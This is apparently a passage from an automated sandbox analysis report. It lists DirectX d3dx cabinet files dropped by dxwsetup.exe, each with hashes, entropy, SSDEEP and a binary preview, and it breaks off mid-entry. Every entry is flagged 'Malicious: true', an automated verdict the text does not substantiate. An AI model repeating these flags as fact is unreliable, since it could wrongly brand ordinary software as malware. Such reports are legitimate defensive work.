SHA-256:	CA7B9C6A49E986C350147F00A6C95C5B577847B5667B75681A1EE15E3A189106
SHA-512:	A2D2F12B7B37BD8F5C8465DD13AD31942DF11EE5ED5423DEEEB178E6B594587706D2C5116258BE1562CAA5ECA691358AF3CB83B77898D1012FF521017D199165
Malicious:	true
Preview:	MSCF............D................................#..............J..............44f .d3dx9_30_x86.cat..p$........4.e .d3dx9_30.dll......$....4.e .apr2006_d3dx9_30_x86.inf.....z.$....4.e .d3dx9_30_w9x.inf.....+.$....4.e .d3dx9_30_x86.inf.v..[>..CK..X.K..=.. ....+..MBI.. M@.n..QH0....#....c..b/..{.z....E..y.......N8?gg..{..=..{...W..;..:....IA.....a.`.......43GX..r..,.f...+FA..,.....2..a0..2......Z.ty.Ih...m0w..es0Ww.[/.n%q.Z.I...ho......#...G.....\.. 1.P6....;.s.cZ.......t.B...X...LL..X.C.......B.......~......@..!..8..O..O..!mR..fbb.0.8L.f..XO.R.-......Y...y...Q4."5JD...p..s.T.f.2z.6..~...........9VPR.f.BH=.bg.s,.T.!=......O..........B...\|\|}...X..5]R.0.....c.+.4..S....E.7.y...[....3...2$..:qt...7T......Q..@X..Ji...q.Z8.Ea(..@zS.D.3;.b..a.}L.;..PG/-....(...../vL_...@K....c..&....f..y.....3.8fW:.T:N7..W:..t.t...#(.FK.k..X..&...;_...Be.w.....b6.z<..za..}_7.afQ......O{,..Thu...).'+..0{:.V}kI.&Z.JU&&*...B..[.'..t.vK.9.`]..!.)Vht.8e.\.T.....i......I.

C:\Windows\msdownld.tmp\AS6C92CC.tmp\Oct2006_d3dx9_31_x86.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 1121257 bytes, 5 files, at 0x44 +A "d3dx9_31_x86.cat" +A "d3dx9_31.dll", flags 0x4, ID 6911, number 1, extra bytes 20 in head, 75 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	1130449
Entropy (8bit):	7.9990817245216945
Encrypted:	true
SSDEEP:	24576:fd5gyP75nbAgKdWsTLSCs3BZnH50ve35Jxroo6DS:F5fP75nbt0STRZn9nxrb5
MD5:	F778928C9EB950EF493857F76A5811AD
SHA1:	EA82D97077534751297AE0848FB1672E8F21E51E
SHA-256:	4891E2DEA9D1798F6A89308E58C61A38E612F8433301EA2376AE14C3DFCB3021
SHA-512:	1F382A287FC6763B8E8D66825E8256DFB7D0DEAD6B6A6B51DD7C4A5C86D536CC7EF4128BE0CE495FE17C859018750072DC7B43E3476D1BA435F209CC4EB6D43F
Malicious:	true
Preview:	MSCF............D................................#..............K.............<5m. .d3dx9_31_x86.cat...$.......<5.. .d3dx9_31.dll.......$...<5.. .d3dx9_31_w9x.inf.......$...<5.. .d3dx9_31_x86.inf.......$...<5.. .oct2006_d3dx9_31_x86.inf.j5o.s>..CK..\....oh"....Fl..'.......i.vC..... `..w...6.....`.....;..E..........l.w.3....Y,..+......yg.a.....$.`0...6...XZ4.FX..J...l.V..o;F^..lH....3'.f0..G.m..P.[>...G..j..c^....p.<OAO.N.q.Z.E...hk..H...'@../.B.....q`K...y"..-9.r.'.9...x.O.R.8.......c....`Gc..C....>......X.......\|0c..tz......./....-.faa.0..<,.V.^X..B......:/...y...3...X.GZ..T......Bi[.KY.x..A...3.[...s..l..J..U..h.../2Z"7......k....yB.E^.r....T........K.....,...X..)..C...z4.....b......o..yv5.!5...CD`&.\.<0..P.y9..e..`{m8..K.:(.....w..la..@.++.N... .y6.m.......,.c...[lc....d..AM.6........ .P...uD.........m...........m.e.`9t..+..aa..@5.y}r.\..rJ.={9f...3...fO4.u.V6u-z.....t.n...A..0%.T....L'.[K...Uh....Ul....vum.........N.U..).)Q...x.RaPk5..X3z.e...

C:\Windows\msdownld.tmp\AS6C9C42.tmp\Dec2006_d3dx9_32_x86.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 1568416 bytes, 4 files, at 0x44 +A "d3dx9_32_x86.cat" +A "d3dx9_32.dll", flags 0x4, ID 5512, number 1, extra bytes 20 in head, 105 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	1577608
Entropy (8bit):	7.999092247669469
Encrypted:	true
SSDEEP:	49152:VKo9fY3tlVm3JjPueurZ8zQbC88LHhpu97Sm:V13BFurZ8U18uSm
MD5:	A5BEAD938AFDC63ADFECC1DAF5049D7F
SHA1:	B3D5BF56F6B9BF87C33009A088BA7785B6363B4E
SHA-256:	A1CC7603302EE53D54F4353C223D95E223706924D99B864220B13814EF93EEFB
SHA-512:	C9244BBCFE60F347EC8785B1A41B6E243153624EA73B16DB4D624239A69FA76D2DF2E54039D8F4D2C495890AC17B676E390F796118B4E16D9F03683247190362
Malicious:	true
Preview:	MSCF............D................................#..............i..............5.a .d3dx9_32_x86.cat..G4.......}5.h .d3dx9_32.dll......f4....5.` .d3dx9_32_x86.inf.M....i4....5.` .dec2006_d3dx9_32_x86.inf.4.$G.@..CK..\.K..?.........7...a....4.... @..LB. `..b..;......{/.;.g7A......}......uv.3.....9X....:.G...`.eT..p...X,..V..C]c.....3^aV......n..3..N.0K3s..%.eb...e../...7..$.~.e#+...<....=..U...R...<..I8..H.D..L.. 1.!........np..\...a...D.'....@(:./.A..{...H.e...b...4Y.c.<..P...H..............].;gl.$q.........}..%,.g.....X.C...HAUZQ1..C.PM.v.\q...T.0Y.3.a.#.\!...O........A)...K....\....PF.X..te...P...B....).).V.(]Jt...A}.S.t\|1S#z....\}./.....\..............(..0....'}..N.]......y,..~.R....f.P.E.T....d#.k.b..`P.../..0W.K&....!.!........M......EL&..bBA.b....q.H.Q.5..5..u....{.ka.k.s.PA^.e.5....c#......d...2..).V.e....2.^.;.....L.....s.`.iK...Q..N.Q.%.T......k..M...U...d...H.W..f.I......kF;X..;.%..N.....j.....6......L.T.).JU"["..`....1..........D.QO,..

C:\Windows\msdownld.tmp\AS6CA606.tmp\Apr2007_d3dx9_33_x86.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 1600079 bytes, 5 files, at 0x44 +A "d3dx9_33_x86.cat" +A "d3dx9_33.dll", flags 0x4, ID 7180, number 1, extra bytes 20 in head, 108 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	1609247
Entropy (8bit):	7.999284261824255
Encrypted:	true
SSDEEP:	24576:4cQY0tIpwa5ydxGuruluTsRWo1Iq9e5m98yiN9/0rjVH60mPxr/1MQK:4cIIi+G9rul8uooec98yi//0rjoDZrCF
MD5:	A5915EC0BE93D7EEBE8800CE761EE6DC
SHA1:	E8BBC21C2B5F0E5801286F07E3DA09DBC67C3961
SHA-256:	EFA2E6DE548401376A575E83A79DE019AA38F191D63FDEF3BD2B07D8CB33E3D7
SHA-512:	02259FF3C8478CBA134A8F8408AA624B7165CED97C0AED8C9626034599DD5439F84D1AF9EEFC4191898B0A524E5FFAFB9875EC00E740CEBE97EAC4C2DD0E31AA
Malicious:	true
Preview:	MSCF....Oj......D...........................Oj...#..............l....(.........6{. .d3dx9_33_x86.cat.hW5..(....l6O. .d3dx9_33.dll.\.....5....6B. .apr2007_d3dx9_33_x86.inf.....\.5....6B. .d3dx9_33_x86.inf.,...g.5....6B. .d3dx9_33_x86_xp.inf.6^]Z.;..CK.y<.....Y.[.J..".<3..K.AJ.CQa.&a..-.L.vE...")[e..!E)e...(q.W).g..t...?.....Ws^...\|.9...9.=.3..L.XN.U.&... ...L.p.b ..,....$.BJp@0.....@#.x^D...T.`~N./J~... ..A6..Tj.....s.....a...A.....#YV..`&B.m...!"....O.h.x.....!M ..e. k@...$C.7..F...7.%...............C".Xk..V..Y.....9...B>.n......J..<......{..w.MORA....v...H..l%.....`...;l.:..T@'Y]..9,H.`.,....A.....u..p.a.....D./!..VZ..1P..I......C..........9..4..1.z......h....W...~.}"hK.m..sA..}<;..w...,8.[a.y.!X...HM....qf.!....i.~.m`.O5...T&......2?...,%#.YCTh......H....@.a........?....7..}.+.c.S.\...-.%`.......1...5......24..........5.....yy-v..R.......{.C..@"....n..C.I.`.ZX....@.MH..+9Q[.\|.rD.j ...A.(.Vb.ZZx.f......F..}h..X....~[.Cs.S\|....RV9JT.k.....c....C...

C:\Windows\msdownld.tmp\AS6CB038.tmp\Apr2007_d3dx10_33_x86.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 689905 bytes, 6 files, at 0x44 +A "d3dx10_33_x86.cat" +A "d3dcompiler_33.dll", flags 0x4, ID 9049, number 1, extra bytes 20 in head, 49 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	699073
Entropy (8bit):	7.998968028413629
Encrypted:	true
SSDEEP:	12288:SHwziN1v34WzSc6IA6ajvY8ov8ZdReUTQ8Mr47JYCophIa9sNDn1QcILtw6:V01wWzCI3ajjls4NpAsNDnMw6
MD5:	F784B8A0FD84C8AC3F218A9842D8DA56
SHA1:	FB7B4B0F81CD5F1C6A900C71BFD4524AF9A79ECE
SHA-256:	949068035CE57BBB3658217EC04F8DE7A122C6E7857B6F8B0CA002EB573DF553
SHA-512:	01B818AA5188CDE3504E289AEDCA2D31A6C5AED479B18A2C78271828AE04BEBCD4082051B7F4EECA8A31E8EE5ADBA158420ECDCB21371C735E4781EE5F661DBF
Malicious:	true
Preview:	MSCF...........D...............Y#..............#..............1....).........6{. .d3dx10_33_x86.cat.p%...)....l6O. .d3dcompiler_33.dll.h...2O....o6=. .d3dx10_33.dll............6E. .apr2007_d3dx10_33_x86.inf.I...7......6E. .d3dx10_33_x86.inf.i..........6E. .d3dx10_33_x86_xp.inf..j"(.2..CK.y<...........l.al..)e.!a.&...l3.-.h....j.,."D.R..O...%W).gFn........}.z5..<s..s>.s>..\|...U*x...Z..!..E..U...<$.....y0.sPH)....<..<.4.M.@...U.......\).@..6.'.Yi.!.....R.@.&..X..i..z..Y....`...C...).Cz...p.9H$...t@....I.s....;.[.C+A"..<.7.w3..A..u...s8$....ma.Y5.3.e C.e.yAAP ...@L..8.,?..h.a..E2=..9=.......e5\|a./3B"q....Zh.P...6P.."....k....:.w..:.h%.....H.0u......+..D.+!..-...9.sD...O...QZ.a..8v#......Q..N..l%....c..?P..........>.....~......0.F.VB!1ii..v5.4.R.R.....LX.X.........w.8.'.~..p.8.......A......6w.\...~..[.B.E.!..h....uQR..q.....O.....R......Cth-.....$z..B..00.l.Uo.. '..m..fB..}...ij....<..RX._......k .k1.xH......A3y.<~V>.s^gV.8+.;+...CP..+. &.....PH..).UA{...E..

C:\Windows\msdownld.tmp\AS6CB74C.tmp\Jun2007_d3dx9_34_x86.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 1601326 bytes, 5 files, at 0x44 +A "d3dx9_34_x86.cat" +A "d3dx9_34.dll", flags 0x4, ID 7195, number 1, extra bytes 20 in head, 108 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	1610494
Entropy (8bit):	7.999066428256981
Encrypted:	true
SSDEEP:	24576:ZBdkB3TM+mIf4qyM0iJRy3QvQDxPYKhatPJZcg9QwJeYX34eq2F37kRVeLbdiL3q:ZPU3TMXxDVI3vQ2KSBP4YH4aAELbdK3q
MD5:	FE8FEB215FAE59866DCD68C1604D97AA
SHA1:	CEDACA678D15E78AA458B965ABB467E8964A1FAB
SHA-256:	1C1E1C6F68BA556A0AF09A38C32EB421C543A4848C4B42D25867C98DAB3B3A50
SHA-512:	9955336B561E4FD3BA3DA7FC086643E811048A25A7E68344D2CC5CAB091980BAAE1C04CE41328B59C896662E2875886B78EC869852B2D1DAAA46AF38C894A3F2
Malicious:	true
Preview:	MSCF.....o......D............................o...#..............l....(.........6.. .d3dx9_34_x86.cat.h_5..(.....6.. .d3dx9_34.dll.......5....6.. .d3dx9_34_x86.inf.,.....5....6.. .d3dx9_34_x86_xp.inf.\...7.5....6.. .jun2007_d3dx9_34_x86.inf.A.".l>..CK..\...;T.D...1.(.`...2CH..........`.UD.....b.;va.;6...w.{.f.l..9.....w?..=k....=.;..........Zh.....<m--.....^..:.z.#_g.~.>.Z.Z..C..\|...5..J.P..JKK.(.0...>+.G..~.hy{c....b2.,..!..?E.&.j.1.u.=.1.B...q...p..>...q.Y....x..\6.uB......>........A..A.f.1..{v.Z...F.F.\|:.[.Z!..@$.IA.H""ET.J.c.........d..G.....\...xco.#.G......`k?d..E..s...B,........O.0(?..r.......TD..y.W..FkkkC+i...&..!@... ..xP_>(#!...b.O.>,P.8d......lM>..R-t...[.lm2.WS\|.u..._.K/.3.3.~.1a....+....q....o.M.O>o..Y...O/..B.y_...V..5..5..$#~.+.H..5.B.tu...../.......\|.[.(5q.YT5...II..@K._.d0.@M (.U.p...J.!Q_....5.....O....?].k.)..3.u.an}.....6A. .]].....rg....Z.0...}...u.....P$geq..]t/......e.JE."VE.(...LhNu..(...L!g.0...:m:...V(T4~.^...2...y

C:\Windows\msdownld.tmp\AS6CC1DB.tmp\Jun2007_d3dx10_34_x86.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 692512 bytes, 6 files, at 0x44 +A "d3dx10_34_x86.cat" +A "d3dcompiler_34.dll", flags 0x4, ID 9065, number 1, extra bytes 20 in head, 49 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	701680
Entropy (8bit):	7.9989902264021255
Encrypted:	true
SSDEEP:	12288:SuBBWP1krfKO0BZwB6ux8hBXsRbD3RazqgwLdJPMqHy7qdXCyhUW3zE:DBTrZ0BZwV8fXsprRaxsDBHyWdXg5
MD5:	19383CBADA5DF3662303271CC9882314
SHA1:	123C97C33F7EF2BA345B220450F181D440412E6B
SHA-256:	8EC971C91040618338AC2369188F3E5D7C85A5B1E3B9FC8E752DD845D295CDBA
SHA-512:	A4C6ACC9FF656E05D75AE0081C65C200B584209C99FD001494C4D206F2CE8A78D2DD3644E51018574928F3B9E9373BF7EC8C5147A3590B54D1C6D50E61342853
Malicious:	true
Preview:	MSCF.... .......D...............i#.......... ....#..............1....).........6.. .d3dx10_34_x86.cat.p)...).....6.. .d3dcompiler_34.dll.h...2S.....6.. .d3dx10_34.dll.I..........6.. .d3dx10_34_x86.inf.i..........6.. .d3dx10_34_x86_xp.inf.c...L......6.. .jun2007_d3dx10_34_x86.inf.....{5..CK.\|.\|......m:..s66...$.\.-K2...B....-.%..\...zI....-.@...!@..<Z(.@..B..@.?..'.k.......f.67;;;;3..gQi....O.7..F....J.m........".z.=.;9.s.D........P...PV.\.U.D......M...3.{K.k>...[z.u#Q...D,..%.%.$j,@wDT..D..]................8\.S.....X......$....q..pP>.0.8.(q.IQ..;GGq.H.@...z.F...~(...=............W...9....._A.qtt.D:[.......7D...&..N..ee.J....H..LeS,e...CY....K m..9..\....._.e....E..@R..J)p..~e...I......uA..8<>).X.#....P..O.BN...a9#I})RW..J4P./.i.'..v.Po..5.+K...[..+K..2... `]....@............q.($. <B$...8@..b<." ...b.y..,.<..OK.."..t..q...{^..5..l........J.(Q.o.Yn.]z.:x6.T..J.Z..zG........ .W..-..l.....2.\O..f/.......TJ&W"S$.2.@.2.a.....C.......A...{..!.\|. ....UVJ7.#.\T..k..

C:\Windows\msdownld.tmp\AS6CCA19.tmp\Aug2007_d3dx9_35_x86.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 1702192 bytes, 5 files, at 0x44 +A "d3dx9_35_x86.cat" +A "d3dx9_35.dll", flags 0x4, ID 7184, number 1, extra bytes 20 in head, 115 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	1711360
Entropy (8bit):	7.999186916403002
Encrypted:	true
SSDEEP:	24576:91jqFBu+YTN2MuQ4R6dPnknsGmQA+re+1ZGD+rCbaNHy196aqlF35RJT1q/P0a+8:9FyMTN57+MPO++rB44S1I/F35zhqFR
MD5:	3ED592E6CDAE66B1C0671D9EC417A738
SHA1:	9F083FFE00A8E5EABF282130CD16044B488B6E0D
SHA-256:	4914D2B5C3251B00C0CC236F51AFE469728D92B50C953C66D213F079AC928EAC
SHA-512:	0144DD9A83F953EABAAFF3C41F17A363100C9A2CCD932321A4AFE990D8FCB5A430E842DE9146C983409B6366CD974E318A535E6475B10839A6679844CB7D23B7
Malicious:	true
Preview:	MSCF....0.......D...........................0....#..............s....(.........6P. .d3dx9_35_x86.cat.h.8..(.....6. .d3dx9_35.dll.\.....9....6B. .aug2007_d3dx9_35_x86.inf.....\.9....6B. .d3dx9_35_x86.inf.,...g.9....6B. .d3dx9_35_x86_xp.inf..n_.;..CK.y<.....Y.[.J.f.d.;c..l...."a..2&&[..E.BEY.EZl.%Z.(..%.+%I....3.[}...q..s?..\|.w..=.s.s..y..2.S8y..........L.8.....0\| .'.. .....LD.'.2'..c.ya.L.a...........C.....C.....^...T..x,.j.X....\.......2a2H.<`.`.c@. BwM(a.#..P....&[R.... $.B.....{....\....5.<$...q.t..qp..c.Z..J...DK...d...A@.....:t...^...X.....K...zg>......U.A..#..1v....`'d..d......A.Bf.@y.$a.d.....,.2W.=."t..........".p8.%......C.0....l.F......X.Q......R.....]...c..Y.Y.<t.'...}.........gK....of...........8Gv6......O.....N!d.?...E...g3a....`...G.R2..-@.6@......\..`H$...4...&...g.6..M.........r2K.s.....FM(......}....hCJVC.T.y..@...C...d..Yk.L`....D..L....>d#.08\.h....&...&......ox...4.2......'K....R...(E...@..6RH..A..t.1 ......s........).T..\.G..........w...

C:\Windows\msdownld.tmp\AS6CD563.tmp\Aug2007_d3dx10_35_x86.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 790907 bytes, 6 files, at 0x44 +A "d3dx10_35_x86.cat" +A "d3dcompiler_35.dll", flags 0x4, ID 9055, number 1, extra bytes 20 in head, 56 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	800075
Entropy (8bit):	7.9986813742013325
Encrypted:	true
SSDEEP:	24576:iTo6mZ4UtaxS5hNsXjnUQEnnR62vSNE6xr8M6:iTdwtqAUXjU7nQaSNvxo
MD5:	DDC4AF0D53B477E5AF77942E7118B66E
SHA1:	81AD8201DCF653A6E977C4506A274D0BAC12643C
SHA-256:	9536166EE7CC1100CFE24E01532E8E4DEED6BAA838B4C025581F2CA046A25915
SHA-512:	1E082D7E7855BC0AF6EC09D4A69FD4A1B0A3A31E4DE8FAA52FA0BDCD601C501ADA6216DDDB83058F37AB4A371068E0F344BDF42F2551943BE19BD719D99BA93C
Malicious:	true
Preview:	MSCF....{.......D..............._#..........{....#..............8....).........6P. .d3dx10_35_x86.cat.p....).....6. .d3dcompiler_35.dll.h...2......6. .d3dx10_35.dll.c..........6F. .aug2007_d3dx10_35_x86.inf.I..........6F. .d3dx10_35_x86.inf.i...F......6F. .d3dx10_35_x86_xp.inf.. ......CK.y8............H.<3.1....=...`.&&[...m^...&D.l.%Z.TJ).....%.R..L...z.....{u]..<...y.....qn...e5\..1.1.....L.b.*D".x~....4....@0.....@#XD>D&.].T..........K..,.<(.81A.z.]..A....0.......Y.l......F[.C...R.`...8...$...A....2..8-..F..e.=j.J.ud..dM.I.........!.h..l.+..,....t9..r..!_h.D.. ..,3..hQsQnYE.+V.wL....;.....3#B"...Zh'...........2.Hx.....:2.%......:.&..'... .!.H.%.<..Tj......A3C.W..e....Dpe...]....!....&H.....I..~d...$C }.>.#...}3....X}.F..G!1....r6...WD.....L}.K..t.....)#...6.L.&...........)....9.!p.b....x.....{..f........s.a.U..^..,..3?.............Ck.....!.s.......`.oZk............K[i.g.....E7...f.7f...`.....3...F.....i.?K&.....d.,Yk.L...........,.L...D.Au..].8.

C:\Windows\msdownld.tmp\AS6CDD52.tmp\Nov2007_d3dx9_36_x86.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 1703400 bytes, 5 files, at 0x44 +A "d3dx9_36_x86.cat" +A "d3dx9_36.dll", flags 0x4, ID 7211, number 1, extra bytes 20 in head, 115 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	1712568
Entropy (8bit):	7.999078652914364
Encrypted:	true
SSDEEP:	24576:fMb9V3TN8vuaBYlFhEbpdjRsI+CpoUjrn++qWYxhiUX21LVpmI9P2BZbcNU7YBP1:kJEvlmFMpdj/Npocz++q3X2tnLAcm0Bt
MD5:	C5E127067EE6CACDD2F8962E6005542E
SHA1:	22C571E4DA75A6E5DFE02E3E3587F40C2939C745
SHA-256:	F52CC1304B533083B3FC5553C49433C0E4E46D66D567B9DE0B558CA518DB1544
SHA-512:	E70DF11AF8CB5D51C3111B8327371EA40292580F06D7D265F2449B89A4941C4740BDE904367FBCB4158512939BBD7C7A3DC20D3642475789FC075A2AE8E27860
Malicious:	true
Preview:	MSCF............D...............+................#..............s...>'........V7.. .d3dx9_36_x86.cat...8.>'....L7.y .d3dx9_36.dll.....F#9...V7O. .d3dx9_36_x86.inf.,...Q&9...V7O. .d3dx9_36_x86_xp.inf.\...}(9...V7O. .nov2007_d3dx9_36_x86.inf..*G~.;..CK..TS..._....E..)...!4...iR.....Z."] .."......K..T@.B.....]....\|...w......y...w.3w..7..//s..R3...H.N{/..F.Yj..J..@..a^.........,.a.^M....".!.,T>......T. .h..-..]./.8.^..../%..q0....x..',4.....Y.9...2..!+...!]Pp.J.`...=.B.W<(.........d.d.l/.Xq,9}9> ..l.}....@......R.dY.x.8@.(..C!.?...)....f.-a.l.+6..U..vbO.q.%]s.....H...$g.... .=...l8. X2.I@.b....Y.V"...[..f5{.$`K.e3.....PE;.Nx`@.f..$....r...i>[..$]`A.:.....jv~.gg...Y....M.....x7...H..'.J.y..oV......j.aU...fc....U..i.....B.q..N>...`........`H9XVN.r..![.+..!H...B..i.-....r...f`l....V.?{.z..H.Ym../.o...Q...p....<d..,....9.7O..c....d.<.`.L..!..{...b .>.QH..)..B.........,...Hx..$a8N.^.rE.+Z..c#h...Xu..,.D"b.h..z$=....G./...l....z./.F..)..v....v':..5....G...... ...p

C:\Windows\msdownld.tmp\AS6CE7D2.tmp\Nov2007_d3dx10_36_x86.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 797924 bytes, 6 files, at 0x44 +A "d3dx10_36_x86.cat" +A "d3dcompiler_36.dll", flags 0x4, ID 9083, number 1, extra bytes 20 in head, 56 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	807092
Entropy (8bit):	7.998858073625772
Encrypted:	true
SSDEEP:	24576:EL+Y8gC2xQcaINcDDHwNXjNOl93uN850V7ZcR0SEDR3l3M:vD2xaINcDHIzhs0Vwz6c
MD5:	3D9A0C59156D03DA0F19C2440E695637
SHA1:	55B050991CB17410C75ADC3913066BAEDB482ED0
SHA-256:	BDF7FB01C02783A4F8C9F5E7911F5CAE3E2A7CBC425B90B36F9EA6EEF2C27DE3
SHA-512:	E9A662498C43865E917F0778B772D6964517E41289CBF5A0B8A4E44D8C4B4E9A5049C76F2ECBE4ACC7E9CFCC3F1D87A75C3F8703E66804CE758969814BA14FDA
Malicious:	true
Preview:	MSCF.....,......D...............{#...........,...#..............8...h(........V7.. .d3dx10_36_x86.cat.....h(....L7.y .d3dcompiler_36.dll.h.... ....B7.O .d3dx10_36.dll.I.........V7P. .d3dx10_36_x86.inf.i...1.....V7P. .d3dx10_36_x86_xp.inf.c.........V7P. .nov2007_d3dx10_36_x86.inf..d.....CK..8.....Y..^(4cK.......H....0..F.]1..$.(W...P.-..J.).[.%Q....M.v......>Os.c.......=.\|.}..d.r.5....q.s.J..*k8....y89....e...D...Q.!aL./,..l...@~N..J~..)...=..].)......o.@.... ......,R...".@&L.i..........Z.6`..C.......]6.Z.._V..J T.B......l......,..t.6.....md.p..5...l.....B...aI,.F.mU..<T...@Hf.......d{..... ..1.0$.....j.AE..#'..'.%..%....4..p..P.g%..(.H..d..........R#..L..H. mXq..c......6tU$....cii.e............1dA...f.... .........U.B..b.....Fj.z;x...f2. gY.....9.u24. .O&....!E-.....R.d+...5.b..![.dG.....""{U.C...........9p.M....Y\|.\f......E....).J...d..0.l.A......0$.....}....e......t..^W..LM(.$,... +.....A..K...f.p..dD...,..E2n..2/k-...d.E2.-.@.S...1.........pA..H..

C:\Windows\msdownld.tmp\AS6CEF92.tmp\Mar2008_d3dx9_37_x86.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 1437322 bytes, 5 files, at 0x44 "d3dx9_37.dll" "d3dx9_37_x86.cat", flags 0x4, ID 7166, number 1, extra bytes 20 in head, 116 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	1446490
Entropy (8bit):	7.99972380205062
Encrypted:	true
SSDEEP:	24576:vFs/gTzoeHhwLMLDjl5XbCzgxt0Q98wWz35UM0vE03yYCmPI7ik:veKTHhbLDbDP0Q5UUtBC2PAz
MD5:	8ED75E3205C2B989FF2B5A7D2F0BA2DF
SHA1:	88846203588464C0BA19907C126C72F7D683B793
SHA-256:	91A50D9EFCDFBCDF22A91D6FBB0F50D3C2AA75F926D05CC166020BF7AAF30E28
SHA-512:	D0CF0E3AAD9C8C43A927D1BBBD253B9FE4C97B638AD9A56F671EBEDA68FC9BC17CC980D93095FBB248DD61DC11B7E46C22D72CEE848B150F7A13EAD9E08A7891
Malicious:	true
Preview:	MSCF............D................................#..............t.....9.......e8....d3dx9_37.dll.<'....9...e8I...d3dx9_37_x86.cat.....D.9...e8....d3dx9_37_x86.inf.,...O.9...e8....d3dx9_37_x86_xp.inf.\...{.9...e8....Mar2008_d3dx9_37_x86.inf..$.0:..[.... 92......$Q.f...>J...h.].W...uWL.I...W]J.X..V..{..Z........X.G{<..033.4..P..........ek \|.b./..gFB'S...K.....fe.5.u..T<{..H....XG84QbDR.8X.Hf.H..46...H"0 ..HH.S.............(_ ..w...H.....Q..P..vT.t@.G+...1...YH... V..Y4H..P..1R$l/..20!ls'...;....;..kmttyu...x.s....q.....q$.C..5k....(....B.r..y..<.6...Fz..hn..-.....Q.3Z...@.1.V..S?...a\|....(6.......D. ....)Ej....GJ%.5 ........G.w>......p...i}..<.\|..b.&!..7E.yU.O-.D......O.UC..yIA.Aj.._..D...VOc....{.f]J.<...r.)o.\|-...>.PWF.....;.;..vb....4..QV'f.$......:S.hi...~...}3k......\...}a.......L5..e....\|.....1..n...T...t......[....Z.].e....d.A......'..\|.V.2.\|Ax..W..........B.>...x.. ..\|.`...L.h..H.i.....@-.aa...7...K ...../..l.x....r...0>x..@/X...W..L..

C:\Windows\msdownld.tmp\AS6CFCA2.tmp\Mar2008_d3dx10_37_x86.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 812300 bytes, 6 files, at 0x44 "d3dx10_37.dll" "D3DCompiler_37.dll", flags 0x4, ID 8943, number 1, extra bytes 20 in head, 58 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	821468
Entropy (8bit):	7.9989494569533655
Encrypted:	true
SSDEEP:	12288:k8Yjgk28yEYvDLX3XmZcLHo9yLvTJqnrT+LprnNjjjGM6pdKi814DYnciABrI55V:1Yjp/yEcfLI9y4rORNYdKibxBrIS6
MD5:	8234B9B90BCBB5077E1B5FAA0B66D1A9
SHA1:	E9207C572FDEC592B7C17A7F9C6F875C8A55B1F0
SHA-256:	6A2727269E6CAC7C4D2E316333D29BAC0DC1CD7F51C36C0C08B0388203DEDAD2
SHA-512:	74C94A6E092D7C828FC1E3FAEE4B21917AFC3CACEC04F260754190D0533F93A58289763AC620E5A577F7865902023B30548CDA4D9E968C90EE13050AD6D1E8C5
Malicious:	true
Preview:	MSCF.....e......D................"...........e...#..............:.............E8...d3dx10_37.dll...........e8....D3DCompiler_37.dll.f(..(.....e8K...d3dx10_37_x86.cat.I.........e8....d3dx10_37_x86.inf.i.........e8....d3dx10_37_x86_xp.inf.c...@.....e8....Mar2008_d3dx10_37_x86.inf...-..,..CK..\TU........[fz.,P..0}Q.a.L...T..`.f.;........i..io{n....ej.i.Yb........;w....r.....s...9.<g.%f.4.F.q...F."_zr.........6.4}..I.8.;o..9L..j.9.43..Z.....M`rl&..A.....n.b..Q.....;..).).MK{J...!...1..T'....:..&...,*O.k\.!}4.d.vH/5.0.....x-!.....{.c..@......Dm53SG.W..A..5..MK..P.?ZK64'd..%.4p......'..v.a-..3!...iYM...Jc.B.i..^.4.;.....b....:..i..'Ui{2.$m.t(w..w...Km..ZrM:..7g.p.w.m$..k..`..n..7JK.`...%..O..d..`....@2h.j.s.ZR.V....?..p-i.:../...@.X.&..:RK..y`"p.. ...a..\.@Y..l...<0.lB\|6.d...Ac..N..=`.(..@.._.....)...`(....\..\|....@.~i..-....z}.........]..'.........<0...d...A.h......e..@...6....,.....D0..A....A8...@K.a..6/.\.&t.$/.V.I.....f.".....t.$.....H..X.6....$

C:\Windows\msdownld.tmp\AS6D04A1.tmp\Jun2008_d3dx9_38_x86.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 1457918 bytes, 5 files, at 0x44 "d3dx9_38.dll" "d3dx9_38_x86.cat", flags 0x4, ID 7184, number 1, extra bytes 20 in head, 118 datablocks, 0x1503 compression
Category:	dropped
